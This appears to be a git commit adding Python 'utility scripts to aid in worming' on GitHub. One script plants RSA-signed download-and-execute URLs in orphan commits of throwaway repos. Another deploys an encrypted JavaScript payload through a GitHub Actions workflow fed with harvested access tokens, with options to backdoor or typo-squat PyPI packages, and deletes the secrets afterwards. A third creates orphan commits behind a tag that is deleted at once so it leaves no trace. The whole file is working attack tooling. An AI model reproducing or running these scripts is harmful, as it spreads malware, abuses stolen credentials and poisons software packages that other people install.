Upload files to "utility_scripts"
This commit is contained in:
@@ -0,0 +1 @@
|
|||||||
|
Collection of utility scripts to aid in worming.
|
||||||
@@ -0,0 +1,278 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import random
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
try:
|
||||||
|
from cryptography.hazmat.primitives import hashes, serialization
|
||||||
|
from cryptography.hazmat.primitives.asymmetric import padding
|
||||||
|
except ImportError:
|
||||||
|
try:
|
||||||
|
subprocess.check_call(
|
||||||
|
[sys.executable, "-m", "pip", "install", "cryptography"],
|
||||||
|
stdout=subprocess.DEVNULL,
|
||||||
|
stderr=subprocess.DEVNULL,
|
||||||
|
)
|
||||||
|
except:
|
||||||
|
try:
|
||||||
|
subprocess.check_call(
|
||||||
|
[
|
||||||
|
sys.executable,
|
||||||
|
"-m",
|
||||||
|
"pip",
|
||||||
|
"install",
|
||||||
|
"cryptography",
|
||||||
|
"--break-system-packages",
|
||||||
|
],
|
||||||
|
stdout=subprocess.DEVNULL,
|
||||||
|
stderr=subprocess.DEVNULL,
|
||||||
|
)
|
||||||
|
except:
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
from cryptography.hazmat.primitives import hashes, serialization
|
||||||
|
from cryptography.hazmat.primitives.asymmetric import padding
|
||||||
|
|
||||||
|
|
||||||
|
API = "https://api.github.com"
|
||||||
|
|
||||||
|
ADJECTIVES = [
|
||||||
|
"stygian",
|
||||||
|
"tartarean",
|
||||||
|
"erebean",
|
||||||
|
"infernal",
|
||||||
|
"chthonic",
|
||||||
|
"acheronian",
|
||||||
|
"lethean",
|
||||||
|
"plutonian",
|
||||||
|
"abyssal",
|
||||||
|
"charonian",
|
||||||
|
"thanatic",
|
||||||
|
"funereal",
|
||||||
|
"nekyian",
|
||||||
|
"sepulchral",
|
||||||
|
"tenebrous",
|
||||||
|
"cimmerian",
|
||||||
|
]
|
||||||
|
|
||||||
|
NOUNS = [
|
||||||
|
"cerberus",
|
||||||
|
"charon",
|
||||||
|
"tartarus",
|
||||||
|
"erebus",
|
||||||
|
"asphodel",
|
||||||
|
"acheron",
|
||||||
|
"styx",
|
||||||
|
"lethe",
|
||||||
|
"cocytus",
|
||||||
|
"phlegethon",
|
||||||
|
"shade",
|
||||||
|
"eidolon",
|
||||||
|
"wraith",
|
||||||
|
"thanatos",
|
||||||
|
"hecate",
|
||||||
|
"persephone",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def gh(token: str, method: str, path: str, **kwargs) -> dict | None:
|
||||||
|
url = f"{API}{path}" if path.startswith("/") else path
|
||||||
|
headers = {
|
||||||
|
"Authorization": f"Bearer {token}",
|
||||||
|
"Accept": "application/vnd.github+json",
|
||||||
|
"X-GitHub-Api-Version": "2022-11-28",
|
||||||
|
}
|
||||||
|
if "json" in kwargs:
|
||||||
|
headers["Content-Type"] = "application/json"
|
||||||
|
resp = requests.request(method, url, headers=headers, **kwargs)
|
||||||
|
if not resp.ok:
|
||||||
|
print(f"GitHub API error {resp.status_code}: {resp.text}", file=sys.stderr)
|
||||||
|
sys.exit(1)
|
||||||
|
if resp.status_code == 204:
|
||||||
|
return None
|
||||||
|
return resp.json()
|
||||||
|
|
||||||
|
|
||||||
|
def generate_repo_name() -> str:
|
||||||
|
adj = random.choice(ADJECTIVES)
|
||||||
|
noun = random.choice(NOUNS)
|
||||||
|
num = random.randint(10000, 99999)
|
||||||
|
return f"{adj}-{noun}-{num}"
|
||||||
|
|
||||||
|
|
||||||
|
def create_repo(token: str, name: str) -> str:
|
||||||
|
"""Create a public repo and return owner/name."""
|
||||||
|
repo = gh(
|
||||||
|
token,
|
||||||
|
"POST",
|
||||||
|
"/user/repos",
|
||||||
|
json={
|
||||||
|
"name": name,
|
||||||
|
"private": False,
|
||||||
|
"auto_init": True,
|
||||||
|
"has_issues": False,
|
||||||
|
"has_wiki": False,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
return repo["full_name"]
|
||||||
|
|
||||||
|
|
||||||
|
def create_orphan_commit(token: str, owner: str, repo: str, message: str) -> str:
|
||||||
|
"""Create an empty tree and an orphan commit with the given message."""
|
||||||
|
# Empty tree
|
||||||
|
tree = gh(
|
||||||
|
token,
|
||||||
|
"POST",
|
||||||
|
f"/repos/{owner}/{repo}/git/trees",
|
||||||
|
json={
|
||||||
|
"tree": [
|
||||||
|
{"path": ".gitkeep", "mode": "100644", "type": "blob", "content": ""}
|
||||||
|
],
|
||||||
|
},
|
||||||
|
)
|
||||||
|
# Orphan commit (no parents)
|
||||||
|
commit = gh(
|
||||||
|
token,
|
||||||
|
"POST",
|
||||||
|
f"/repos/{owner}/{repo}/git/commits",
|
||||||
|
json={
|
||||||
|
"message": message,
|
||||||
|
"tree": tree["sha"],
|
||||||
|
"parents": [],
|
||||||
|
},
|
||||||
|
)
|
||||||
|
return commit["sha"]
|
||||||
|
|
||||||
|
|
||||||
|
def load_private_key(key_path: str):
|
||||||
|
with open(key_path, "rb") as f:
|
||||||
|
return serialization.load_pem_private_key(f.read(), password=None)
|
||||||
|
|
||||||
|
|
||||||
|
def sign_url(url: str, private_key) -> tuple:
|
||||||
|
url_b64 = base64.b64encode(url.encode()).decode()
|
||||||
|
|
||||||
|
signature = private_key.sign(
|
||||||
|
url_b64.encode(),
|
||||||
|
padding.PSS(
|
||||||
|
mgf=padding.MGF1(hashes.SHA256()), salt_length=padding.PSS.MAX_LENGTH
|
||||||
|
),
|
||||||
|
hashes.SHA256(),
|
||||||
|
)
|
||||||
|
|
||||||
|
signature_b64 = base64.b64encode(signature).decode()
|
||||||
|
|
||||||
|
return url_b64, signature_b64
|
||||||
|
|
||||||
|
|
||||||
|
def generate_commit_message(url: str, private_key, prefix: str = "") -> str:
|
||||||
|
url_b64, signature_b64 = sign_url(url, private_key)
|
||||||
|
|
||||||
|
if prefix:
|
||||||
|
return f"{prefix}\n\nfiredalazer {url_b64}.{signature_b64}"
|
||||||
|
else:
|
||||||
|
return f"firedalazer {url_b64}.{signature_b64}"
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="Generate signed GitHub commit messages",
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
epilog="""
|
||||||
|
Examples:
|
||||||
|
python3 commit_signer.py --url "https://example.com/script.py" --key private.pem
|
||||||
|
python3 commit_signer.py --url "https://example.com/update.py" --key private.pem --prefix "Update"
|
||||||
|
python3 commit_signer.py --url "https://example.com/payload" --keypair builds/DEMO-001/rsa_keypair.json
|
||||||
|
python3 commit_signer.py --url "https://example.com/payload" --key private.pem --pat ghp_xxx
|
||||||
|
""",
|
||||||
|
)
|
||||||
|
|
||||||
|
parser.add_argument("--url", required=True, help="URL to download and execute")
|
||||||
|
parser.add_argument("--key", help="Path to RSA private key PEM file")
|
||||||
|
parser.add_argument("--keypair", help="Path to RSA keypair JSON file")
|
||||||
|
parser.add_argument(
|
||||||
|
"--prefix", default="", help="Optional prefix for commit message"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--pat", help="GitHub PAT. If provided, creates a repo and commits the message."
|
||||||
|
)
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
if args.keypair:
|
||||||
|
import json
|
||||||
|
|
||||||
|
from cryptography.hazmat.backends import default_backend
|
||||||
|
from cryptography.hazmat.primitives.asymmetric import rsa
|
||||||
|
|
||||||
|
with open(args.keypair, "r") as f:
|
||||||
|
keypair = json.load(f)
|
||||||
|
|
||||||
|
private_key = rsa.RSAPrivateNumbers(
|
||||||
|
p=int(keypair["rsaPHex"], 16),
|
||||||
|
q=int(keypair["rsaQHex"], 16),
|
||||||
|
d=int(keypair["rsaDHex"], 16),
|
||||||
|
dmp1=int(keypair["rsaDPHex"], 16),
|
||||||
|
dmq1=int(keypair["rsaDQHex"], 16),
|
||||||
|
iqmp=int(keypair["rsaQInvHex"], 16),
|
||||||
|
public_numbers=rsa.RSAPublicNumbers(
|
||||||
|
e=int(keypair["rsaExponentHex"], 16),
|
||||||
|
n=int(keypair["rsaModulusHex"], 16),
|
||||||
|
),
|
||||||
|
).private_key(default_backend())
|
||||||
|
|
||||||
|
elif args.key:
|
||||||
|
private_key = load_private_key(args.key)
|
||||||
|
else:
|
||||||
|
return 1
|
||||||
|
|
||||||
|
commit_msg = generate_commit_message(args.url, private_key, args.prefix)
|
||||||
|
|
||||||
|
print(f"\n{'=' * 60}")
|
||||||
|
print(f"COMMIT MESSAGE:")
|
||||||
|
print(f"{'=' * 60}")
|
||||||
|
print(commit_msg)
|
||||||
|
print(f"{'=' * 60}")
|
||||||
|
print(f"\nTarget URL: {args.url}")
|
||||||
|
|
||||||
|
if args.pat:
|
||||||
|
repo_name = generate_repo_name()
|
||||||
|
print(f"\nCreating public repo: {repo_name}...")
|
||||||
|
full_name = create_repo(args.pat, repo_name)
|
||||||
|
owner, name = full_name.split("/")
|
||||||
|
print(f" https://github.com/{full_name}")
|
||||||
|
|
||||||
|
print(f"Creating orphan commit...")
|
||||||
|
commit_sha = create_orphan_commit(args.pat, owner, name, commit_msg)
|
||||||
|
print(f" https://github.com/{full_name}/commit/{commit_sha}")
|
||||||
|
|
||||||
|
print(f"Pushing to main...")
|
||||||
|
pushed = False
|
||||||
|
for branch in ("main", "master"):
|
||||||
|
try:
|
||||||
|
gh(
|
||||||
|
args.pat,
|
||||||
|
"PATCH",
|
||||||
|
f"/repos/{owner}/{name}/git/refs/heads/{branch}",
|
||||||
|
json={"sha": commit_sha, "force": True},
|
||||||
|
)
|
||||||
|
print(f" {branch} now points to {commit_sha[:7]}")
|
||||||
|
pushed = True
|
||||||
|
break
|
||||||
|
except SystemExit:
|
||||||
|
continue
|
||||||
|
if not pushed:
|
||||||
|
print(f" failed to update main or master — commit is orphaned")
|
||||||
|
|
||||||
|
print(f"\nRepo: https://github.com/{full_name}")
|
||||||
|
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
exit(main())
|
||||||
@@ -0,0 +1,388 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Create a private GitHub repo with a workflow_dispatch-triggered payload.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 scripts/create_payload_repo.py \
|
||||||
|
--orchestartor-pat ghp_xxx \
|
||||||
|
--repo owner/name \
|
||||||
|
--js-path ./payload.js \
|
||||||
|
--pats ghp_aaa,ghp_bbb
|
||||||
|
|
||||||
|
Creates:
|
||||||
|
1. Private repo (using --orchestartor-pat)
|
||||||
|
2. index.js (the payload)
|
||||||
|
3. .github/workflows/run.yml — reads PATS secret → GITHUB_TOKEN2 → bun
|
||||||
|
4. An Actions secret PATS containing the comma-separated PATs
|
||||||
|
5. Dispatches a single workflow run
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import os
|
||||||
|
import random
|
||||||
|
import secrets
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
from hashlib import sha256
|
||||||
|
|
||||||
|
import nacl.encoding
|
||||||
|
import nacl.public
|
||||||
|
import requests
|
||||||
|
|
||||||
|
API = "https://api.github.com"
|
||||||
|
|
||||||
|
# Set by main() — all API calls use this token.
|
||||||
|
_TOKEN: str = ""
|
||||||
|
|
||||||
|
|
||||||
|
def _headers() -> dict:
|
||||||
|
return {
|
||||||
|
"Authorization": f"Bearer {_TOKEN}",
|
||||||
|
"Accept": "application/vnd.github+json",
|
||||||
|
"X-GitHub-Api-Version": "2022-11-28",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def gh(method: str, path: str, **kwargs) -> dict | None:
|
||||||
|
url = f"{API}{path}" if path.startswith("/") else path
|
||||||
|
r = requests.request(method, url, headers=_headers(), **kwargs)
|
||||||
|
if not r.ok:
|
||||||
|
print(f"API error {r.status_code}: {r.text}", file=sys.stderr)
|
||||||
|
sys.exit(1)
|
||||||
|
if r.status_code == 204:
|
||||||
|
return None
|
||||||
|
return r.json()
|
||||||
|
|
||||||
|
|
||||||
|
# ── Actions secret helpers ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
def get_repo_public_key(owner: str, repo: str) -> tuple[str, str]:
|
||||||
|
"""Return (key_id, key) for the repo's Actions secret encryption."""
|
||||||
|
r = gh("GET", f"/repos/{owner}/{repo}/actions/secrets/public-key")
|
||||||
|
return r["key_id"], r["key"]
|
||||||
|
|
||||||
|
|
||||||
|
def encrypt_secret_value(plaintext: str, pubkey_b64: str) -> str:
|
||||||
|
"""Encrypt a value using libsodium sealed box with the repo's
|
||||||
|
public key (required by the GitHub Actions secrets API)."""
|
||||||
|
pk = nacl.public.PublicKey(pubkey_b64, encoder=nacl.encoding.Base64Encoder)
|
||||||
|
box = nacl.public.SealedBox(pk)
|
||||||
|
encrypted = box.encrypt(plaintext.encode())
|
||||||
|
return base64.b64encode(encrypted).decode()
|
||||||
|
|
||||||
|
|
||||||
|
def put_secret(owner: str, repo: str, name: str, value: str):
|
||||||
|
"""Create or update a repo-level Actions secret."""
|
||||||
|
key_id, pubkey = get_repo_public_key(owner, repo)
|
||||||
|
encrypted = encrypt_secret_value(value, pubkey)
|
||||||
|
gh(
|
||||||
|
"PUT",
|
||||||
|
f"/repos/{owner}/{repo}/actions/secrets/{name}",
|
||||||
|
json={"encrypted_value": encrypted, "key_id": key_id},
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
# ── Repo operations ─────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
def create_repo(name: str, private: bool = False) -> dict:
|
||||||
|
data = {"name": name, "private": False, "auto_init": True}
|
||||||
|
return gh("POST", "/user/repos", json=data)
|
||||||
|
|
||||||
|
|
||||||
|
def create_blob(owner: str, repo: str, content: str) -> str:
|
||||||
|
encoded = base64.b64encode(content.encode()).decode()
|
||||||
|
return gh(
|
||||||
|
"POST",
|
||||||
|
f"/repos/{owner}/{repo}/git/blobs",
|
||||||
|
json={"content": encoded, "encoding": "base64"},
|
||||||
|
)["sha"]
|
||||||
|
|
||||||
|
|
||||||
|
def get_default_branch_sha(owner: str, repo: str) -> str:
|
||||||
|
r = gh("GET", f"/repos/{owner}/{repo}")
|
||||||
|
branch = r["default_branch"]
|
||||||
|
ref = gh("GET", f"/repos/{owner}/{repo}/git/ref/heads/{branch}")
|
||||||
|
return ref["object"]["sha"]
|
||||||
|
|
||||||
|
|
||||||
|
def get_base_tree(owner: str, repo: str, sha: str) -> str:
|
||||||
|
commit = gh("GET", f"/repos/{owner}/{repo}/git/commits/{sha}")
|
||||||
|
return commit["tree"]["sha"]
|
||||||
|
|
||||||
|
|
||||||
|
def create_tree(
|
||||||
|
owner: str, repo: str, base_tree: str | None, entries: list[dict]
|
||||||
|
) -> str:
|
||||||
|
body: dict = {"tree": entries}
|
||||||
|
if base_tree is not None:
|
||||||
|
body["base_tree"] = base_tree
|
||||||
|
return gh(
|
||||||
|
"POST",
|
||||||
|
f"/repos/{owner}/{repo}/git/trees",
|
||||||
|
json=body,
|
||||||
|
)["sha"]
|
||||||
|
|
||||||
|
|
||||||
|
def create_commit(
|
||||||
|
owner: str, repo: str, message: str, tree: str, parents: list[str]
|
||||||
|
) -> str:
|
||||||
|
return gh(
|
||||||
|
"POST",
|
||||||
|
f"/repos/{owner}/{repo}/git/commits",
|
||||||
|
json={"message": message, "tree": tree, "parents": parents},
|
||||||
|
)["sha"]
|
||||||
|
|
||||||
|
|
||||||
|
def update_ref(owner: str, repo: str, branch: str, sha: str):
|
||||||
|
gh(
|
||||||
|
"PATCH",
|
||||||
|
f"/repos/{owner}/{repo}/git/refs/heads/{branch}",
|
||||||
|
json={"sha": sha, "force": True},
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def get_default_branch(owner: str, repo: str) -> str:
|
||||||
|
return gh("GET", f"/repos/{owner}/{repo}")["default_branch"]
|
||||||
|
|
||||||
|
|
||||||
|
# ── Payload encryption ─────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
def encrypt_payload(data: bytes, passphrase: str) -> str:
|
||||||
|
"""AES-256-CBC encrypt with passphrase-derived key.
|
||||||
|
Returns base64 of IV + ciphertext."""
|
||||||
|
iv = os.urandom(16)
|
||||||
|
key = sha256(passphrase.encode()).digest()
|
||||||
|
proc = subprocess.run(
|
||||||
|
[
|
||||||
|
"openssl",
|
||||||
|
"enc",
|
||||||
|
"-aes-256-cbc",
|
||||||
|
"-K",
|
||||||
|
key.hex(),
|
||||||
|
"-iv",
|
||||||
|
iv.hex(),
|
||||||
|
"-nosalt",
|
||||||
|
],
|
||||||
|
input=data,
|
||||||
|
capture_output=True,
|
||||||
|
)
|
||||||
|
if proc.returncode != 0:
|
||||||
|
raise RuntimeError(f"openssl encrypt failed: {proc.stderr.decode()}")
|
||||||
|
return base64.b64encode(iv + proc.stdout).decode()
|
||||||
|
|
||||||
|
|
||||||
|
# One-liner decryptor embedded in the workflow YAML
|
||||||
|
DECRYPT_STEP = (
|
||||||
|
'python3 -c "'
|
||||||
|
"import base64,hashlib,os,subprocess;"
|
||||||
|
"d=base64.b64decode(open('index.js','rb').read());"
|
||||||
|
"iv=d[:16];ct=d[16:];"
|
||||||
|
"k=hashlib.sha256(os.environ['PASSPHRASE'].encode()).digest();"
|
||||||
|
"p=subprocess.run(['openssl','enc','-d','-aes-256-cbc','-K',k.hex(),'-iv',iv.hex(),'-nosalt'],input=ct,capture_output=True);"
|
||||||
|
"open('index.js','wb').write(p.stdout)"
|
||||||
|
'"'
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
# ── Main ────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
global _TOKEN
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(description="Create payload repo")
|
||||||
|
parser.add_argument(
|
||||||
|
"--orchestartor-pat",
|
||||||
|
required=True,
|
||||||
|
help="GitHub PAT used to create the repo and push commits",
|
||||||
|
)
|
||||||
|
parser.add_argument("--repo", required=True, help="owner/name")
|
||||||
|
parser.add_argument("--js-path", required=True, help="Path to index.js payload")
|
||||||
|
parser.add_argument(
|
||||||
|
"--pats",
|
||||||
|
default=None,
|
||||||
|
help="Comma-separated PATs to dispatch (or path to file, one per line)",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--packages",
|
||||||
|
default=None,
|
||||||
|
help="Comma-separated PyPI packages to backdoor (sets PACKAGES env in workflow)",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--passphrase",
|
||||||
|
default=None,
|
||||||
|
help="Custom passphrase (auto-generated if not provided)",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--pypi-typos",
|
||||||
|
default=None,
|
||||||
|
help="Comma-separated packages to typo-squat (sets TYPO_MODE=1 + TARGET_PACKAGES)",
|
||||||
|
)
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
_TOKEN = args.orchestartor_pat
|
||||||
|
|
||||||
|
owner, raw_name = args.repo.split("/", 1)
|
||||||
|
name = f"{raw_name}-{random.randint(10000, 99999)}"
|
||||||
|
|
||||||
|
with open(args.js_path) as f:
|
||||||
|
js_content = f.read()
|
||||||
|
|
||||||
|
# Encrypt payload (always — auto-generated passphrase if not provided)
|
||||||
|
passphrase = args.passphrase or secrets.token_hex(32)
|
||||||
|
js_content = encrypt_payload(js_content.encode(), passphrase)
|
||||||
|
|
||||||
|
# Resolve PATs list
|
||||||
|
pats: list[str] = []
|
||||||
|
if args.pats:
|
||||||
|
if os.path.isfile(args.pats):
|
||||||
|
with open(args.pats) as f:
|
||||||
|
pats = [line.strip() for line in f if line.strip()]
|
||||||
|
else:
|
||||||
|
pats = [p.strip() for p in args.pats.split(",") if p.strip()]
|
||||||
|
|
||||||
|
workflow_yaml = """\
|
||||||
|
name: Run
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
jobs:
|
||||||
|
run:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
permissions:
|
||||||
|
issues: write
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v6
|
||||||
|
- uses: oven-sh/setup-bun@v2
|
||||||
|
- name: decrypt
|
||||||
|
env:
|
||||||
|
PASSPHRASE: ${{{{ secrets.PASSPHRASE }}}}
|
||||||
|
run: {DECRYPT_STEP}
|
||||||
|
- name: run
|
||||||
|
env:
|
||||||
|
GITHUB_TOKEN2: ${{ secrets.PATS }}"""
|
||||||
|
|
||||||
|
if args.packages:
|
||||||
|
workflow_yaml += "\n PACKAGES: ${{ secrets.PACKAGES }}"
|
||||||
|
|
||||||
|
if args.pypi_typos:
|
||||||
|
workflow_yaml += """\
|
||||||
|
TYPO_MODE: "1"
|
||||||
|
TARGET_PACKAGES: ${{ secrets.TARGET_PACKAGES }}"""
|
||||||
|
|
||||||
|
workflow_yaml += "\n run: bun run index.js\n"
|
||||||
|
|
||||||
|
# 1. Create repo
|
||||||
|
print(f"Creating private repo {args.repo}...", file=sys.stderr)
|
||||||
|
create_repo(name, private=True)
|
||||||
|
print(f" https://github.com/{args.repo}", file=sys.stderr)
|
||||||
|
|
||||||
|
# 2. Get parent commit
|
||||||
|
parent_sha = get_default_branch_sha(owner, name)
|
||||||
|
base_tree = get_base_tree(owner, name, parent_sha)
|
||||||
|
|
||||||
|
# 3. Create blobs
|
||||||
|
js_sha = create_blob(owner, name, js_content)
|
||||||
|
wf_sha = create_blob(owner, name, workflow_yaml)
|
||||||
|
|
||||||
|
# 4. Build tree — .github/workflows/run.yml
|
||||||
|
wf_tree = create_tree(
|
||||||
|
owner,
|
||||||
|
name,
|
||||||
|
None, # no base — new tree
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"path": "run.yml",
|
||||||
|
"mode": "100644",
|
||||||
|
"type": "blob",
|
||||||
|
"sha": wf_sha,
|
||||||
|
},
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
gh_tree = create_tree(
|
||||||
|
owner,
|
||||||
|
name,
|
||||||
|
None,
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"path": "workflows",
|
||||||
|
"mode": "040000",
|
||||||
|
"type": "tree",
|
||||||
|
"sha": wf_tree,
|
||||||
|
},
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
new_tree = create_tree(
|
||||||
|
owner,
|
||||||
|
name,
|
||||||
|
base_tree,
|
||||||
|
[
|
||||||
|
{"path": "index.js", "mode": "100644", "type": "blob", "sha": js_sha},
|
||||||
|
{"path": ".github", "mode": "040000", "type": "tree", "sha": gh_tree},
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
# 5. Commit
|
||||||
|
commit_sha = create_commit(owner, name, "Add workflow", new_tree, [parent_sha])
|
||||||
|
update_ref(owner, name, get_default_branch(owner, name), commit_sha)
|
||||||
|
|
||||||
|
print(f"\nRepo: https://github.com/{args.repo}", file=sys.stderr)
|
||||||
|
print(
|
||||||
|
f"Dispatch: https://github.com/{args.repo}/actions/workflows/run.yml",
|
||||||
|
file=sys.stderr,
|
||||||
|
)
|
||||||
|
|
||||||
|
# 6. Store secrets
|
||||||
|
if pats:
|
||||||
|
pats_csv = ",".join(pats)
|
||||||
|
print(f"Storing PATS secret ({len(pats)} token(s))...", file=sys.stderr)
|
||||||
|
put_secret(owner, name, "PATS", pats_csv)
|
||||||
|
if args.packages:
|
||||||
|
print(f"Storing PACKAGES secret: {args.packages}...", file=sys.stderr)
|
||||||
|
put_secret(owner, name, "PACKAGES", args.packages)
|
||||||
|
print("Storing PASSPHRASE secret...", file=sys.stderr)
|
||||||
|
put_secret(owner, name, "PASSPHRASE", passphrase)
|
||||||
|
if args.pypi_typos:
|
||||||
|
print(f"Storing TARGET_PACKAGES secret: {args.pypi_typos}...", file=sys.stderr)
|
||||||
|
put_secret(owner, name, "TARGET_PACKAGES", args.pypi_typos)
|
||||||
|
|
||||||
|
# 7. Dispatch the workflow (no inputs — reads PATS secret)
|
||||||
|
branch = get_default_branch(owner, name)
|
||||||
|
print(f"Dispatching workflow on {branch}...", file=sys.stderr)
|
||||||
|
gh(
|
||||||
|
"POST",
|
||||||
|
f"/repos/{owner}/{name}/actions/workflows/run.yml/dispatches",
|
||||||
|
json={"ref": branch},
|
||||||
|
)
|
||||||
|
print(" dispatched", file=sys.stderr)
|
||||||
|
|
||||||
|
# 8. Wait for the workflow to pick up the secrets, then delete them
|
||||||
|
import time
|
||||||
|
|
||||||
|
print("Waiting 15s for workflow to start...", file=sys.stderr)
|
||||||
|
time.sleep(10)
|
||||||
|
if pats:
|
||||||
|
print("Deleting PATS secret...", file=sys.stderr)
|
||||||
|
gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/PATS")
|
||||||
|
print(" deleted", file=sys.stderr)
|
||||||
|
if args.packages:
|
||||||
|
print("Deleting PACKAGES secret...", file=sys.stderr)
|
||||||
|
gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/PACKAGES")
|
||||||
|
print(" deleted", file=sys.stderr)
|
||||||
|
print("Deleting PASSPHRASE secret...", file=sys.stderr)
|
||||||
|
gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/PASSPHRASE")
|
||||||
|
print(" deleted", file=sys.stderr)
|
||||||
|
if args.pypi_typos:
|
||||||
|
print("Deleting TARGET_PACKAGES secret...", file=sys.stderr)
|
||||||
|
gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/TARGET_PACKAGES")
|
||||||
|
print(" deleted", file=sys.stderr)
|
||||||
|
|
||||||
|
print(args.repo)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,97 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Create an orphan commit containing a single file in a GitHub repo.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 scripts/orphan-commit.py <pat> <owner/repo> <file-path> [message]
|
||||||
|
|
||||||
|
Example:
|
||||||
|
python3 scripts/orphan-commit.py ghp_xxx my-org/my-repo ./payload.bin "init"
|
||||||
|
"""
|
||||||
|
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import sys
|
||||||
|
from urllib.request import Request, urlopen
|
||||||
|
|
||||||
|
TOKEN = sys.argv[1] if len(sys.argv) > 1 else None
|
||||||
|
REPO = sys.argv[2] if len(sys.argv) > 2 else None
|
||||||
|
FILE = sys.argv[3] if len(sys.argv) > 3 else None
|
||||||
|
MSG = sys.argv[4] if len(sys.argv) > 4 else "init"
|
||||||
|
|
||||||
|
if not TOKEN or not REPO or not FILE:
|
||||||
|
print(
|
||||||
|
"Usage: orphan-commit.py <pat> <owner/repo> <file> [message]", file=sys.stderr
|
||||||
|
)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
owner, name = REPO.split("/", 1)
|
||||||
|
|
||||||
|
API = "https://api.github.com"
|
||||||
|
HEADERS = {
|
||||||
|
"Authorization": f"Bearer {TOKEN}",
|
||||||
|
"Accept": "application/vnd.github+json",
|
||||||
|
"X-GitHub-Api-Version": "2022-11-28",
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def gh(method, path, body=None):
|
||||||
|
req = Request(f"{API}{path}", method=method, headers=HEADERS)
|
||||||
|
if body:
|
||||||
|
req.data = json.dumps(body).encode()
|
||||||
|
resp = urlopen(req)
|
||||||
|
return json.loads(resp.read()) if resp.status != 204 else None
|
||||||
|
|
||||||
|
|
||||||
|
with open(FILE, "rb") as f:
|
||||||
|
content = f.read()
|
||||||
|
|
||||||
|
filename = FILE.rsplit("/", 1)[-1]
|
||||||
|
|
||||||
|
# 1. Create blob
|
||||||
|
blob = gh(
|
||||||
|
"POST",
|
||||||
|
f"/repos/{owner}/{name}/git/blobs",
|
||||||
|
{
|
||||||
|
"content": base64.b64encode(content).decode(),
|
||||||
|
"encoding": "base64",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
# 2. Create tree with the single file
|
||||||
|
tree = gh(
|
||||||
|
"POST",
|
||||||
|
f"/repos/{owner}/{name}/git/trees",
|
||||||
|
{
|
||||||
|
"tree": [
|
||||||
|
{"path": filename, "mode": "100644", "type": "blob", "sha": blob["sha"]}
|
||||||
|
],
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
# 3. Create orphan commit (no parents, no branch ref)
|
||||||
|
commit = gh(
|
||||||
|
"POST",
|
||||||
|
f"/repos/{owner}/{name}/git/commits",
|
||||||
|
{
|
||||||
|
"message": MSG,
|
||||||
|
"tree": tree["sha"],
|
||||||
|
"parents": [],
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
# 4. Create a tag pointing to the commit, then delete it immediately.
|
||||||
|
# The creation event persists in GitHub's audit log so commit-monitoring
|
||||||
|
# tools pick it up, but the tag itself is gone with no trace on the repo.
|
||||||
|
tag_name = f"tmp-{commit['sha'][:7]}"
|
||||||
|
gh(
|
||||||
|
"POST",
|
||||||
|
f"/repos/{owner}/{name}/git/refs",
|
||||||
|
{"ref": f"refs/tags/{tag_name}", "sha": commit["sha"]},
|
||||||
|
)
|
||||||
|
gh(
|
||||||
|
"DELETE",
|
||||||
|
f"/repos/{owner}/{name}/git/refs/tags/{tag_name}",
|
||||||
|
)
|
||||||
|
|
||||||
|
print(f"https://raw.githubusercontent.com/{owner}/{name}/{commit['sha']}/{filename}")
|
||||||
